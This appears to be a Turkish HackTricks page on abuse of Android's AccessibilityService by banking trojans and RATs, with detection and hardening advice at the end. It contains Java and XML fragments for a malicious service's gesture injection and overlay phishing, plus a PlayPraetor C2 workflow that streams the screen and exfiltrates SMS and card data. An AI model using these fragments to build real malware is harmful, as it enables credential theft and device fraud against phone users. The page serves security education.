Android Erişilebilirlik Servisi İstismarı

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Genel Bakış

AccessibilityService, engelli kullanıcıların Android cihazlarla etkileşimde bulunmalarına yardımcı olmak için oluşturulmuştur. Ne yazık ki, aynı güçlü otomasyon API'leri (küresel navigasyon, metin girişi, hareket dağıtımı, üst katman pencereleri…) kötü amaçlı yazılımlar tarafından root ayrıcalıkları olmadan cihazın tam uzaktan kontrolünü ele geçirmek için silahlandırılabilir.

Modern Android bankacılık Trojanları ve Uzaktan Erişim Trojanları (RAT'lar) PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda gibi birçok diğerleri aynı tarife uymaktadır:

  1. Kurbanı, kötü niyetli bir erişilebilirlik hizmetini etkinleştirmeye ikna etmek ( BIND_ACCESSIBILITY_SERVICE izni "yüksek riskli" olarak kabul edilir ve açık bir kullanıcı eylemi gerektirir).
  2. Hizmeti kullanarak
  • ekranda görünen her UI olayını ve metni yakalamak,
  • operatörün istediği herhangi bir görevi otomatikleştirmek için sentetik hareketler (dispatchGesture) ve küresel eylemler (performGlobalAction) enjekte etmek,
  • TYPE_ACCESSIBILITY_OVERLAY pencere türünü kullanarak meşru uygulamaların üstünde tam ekran üst katmanlar çizmek (hiçbir SYSTEM_ALERT_WINDOW istemi yok!),
  • kurbanın adına sistem diyaloglarına tıklayarak ek çalışma zamanı izinlerini sessizce vermek.
  1. Kullanıcı normal bir ekranı izlerken verileri dışarı sızdırmak veya Cihaz İçi Dolandırıcılık (ODF) gerçekleştirmek.

İzni Talep Etme

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Eşlik eden XML, sahte diyalogun nasıl görüneceğini tanımlar:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Uzaktan UI otomasyon ilkeleri

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Sadece bu iki API ile bir saldırgan şunları yapabilir:

  • Ekranı kilidini açmak, bankacılık uygulamasını açmak, UI ağacında gezinmek ve bir transfer formu göndermek.
  • Açılan her izin penceresini kabul etmek.
  • Play Store niyeti aracılığıyla ek APK'lar yüklemek/güncellemek.

Kötüye Kullanım Desenleri

1. Overlay Phishing (Kimlik Bilgisi Toplama)

Şeffaf veya opak bir WebView pencere yöneticisine eklenir:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.

Detaylı örnek: Erişilebilirlik Overlay Phishing bölümü Tapjacking sayfasında.

2. Cihaz İçi Dolandırıcılık otomasyonu

PlayPraetor gibi kötü amaçlı yazılım aileleri, operatörün yüksek seviyeli komutlar (init, update, alert_arr, report_list, …) verebileceği sürekli bir WebSocket kanalı sürdürür. Servis, bu komutları yukarıdaki düşük seviyeli hareketlere çevirerek, o cihaza bağlı çok faktörlü kimlik doğrulamayı kolayca aşan gerçek zamanlı yetkisiz işlemler gerçekleştirir.

3. Ekran akışı ve izleme

MediaProjection API'sini bir RTMP istemci kütüphanesi ile birleştirerek, RAT canlı framebuffer'ı rtmp://<c2>:1935/live/<device_id> adresine yayınlayabilir, bu da düşmana Erişilebilirlik motoru UI'yi yönlendirirken mükemmel bir durum farkındalığı sağlar.


PlayPraetor – komut ve kontrol iş akışı

  1. HTTP(S) kalp atışı – bir alan adı POST /app/searchPackageName ile aktif C2 yanıt verene kadar sabit kodlu bir liste üzerinde yineleme yapın.
  2. WebSocket (port 8282) – iki yönlü JSON komutları:
  • update – yeni konfigürasyon/APK'ları gönder
  • alert_arr – overlay şablonlarını yapılandır
  • report_list – hedeflenen paket adlarının listesini gönder
  • heartbeat_web – canlı tut
  1. RTMP (port 1935) – canlı ekran/video akışı.
  2. REST dışa aktarma
  • /app/saveDevice (parmak izi)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (banka kimlik bilgileri)

AccessibilityService, bu bulut komutlarını fiziksel etkileşimlere dönüştüren yerel motordur.


Kötü niyetli erişilebilirlik hizmetlerini tespit etme

  • adb shell settings get secure enabled_accessibility_services
  • Ayarlar → Erişilebilirlik → İndirilen hizmetler – Google Play'den olmayan uygulamaları arayın.
  • MDM / EMM çözümleri, yüklenmiş hizmetleri engellemek için ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) uygulayabilir.
  • Çalışan hizmetleri analiz edin:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Uygulama geliştiricileri için güçlendirme önerileri

  • Hassas görünümleri android:accessibilityDataSensitive="accessibilityDataPrivateYes" ile işaretleyin (API 34+).
  • Tap/overlay kaçırmayı önlemek için setFilterTouchesWhenObscured(true) ile FLAG_SECURE'ı birleştirin.
  • WindowManager.getDefaultDisplay().getFlags() veya ViewRootImpl API'sini sorgulayarak overlay'leri tespit edin.
  • Settings.canDrawOverlays() veya güvenilmeyen bir Erişilebilirlik hizmeti aktif olduğunda çalışmayı reddedin.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin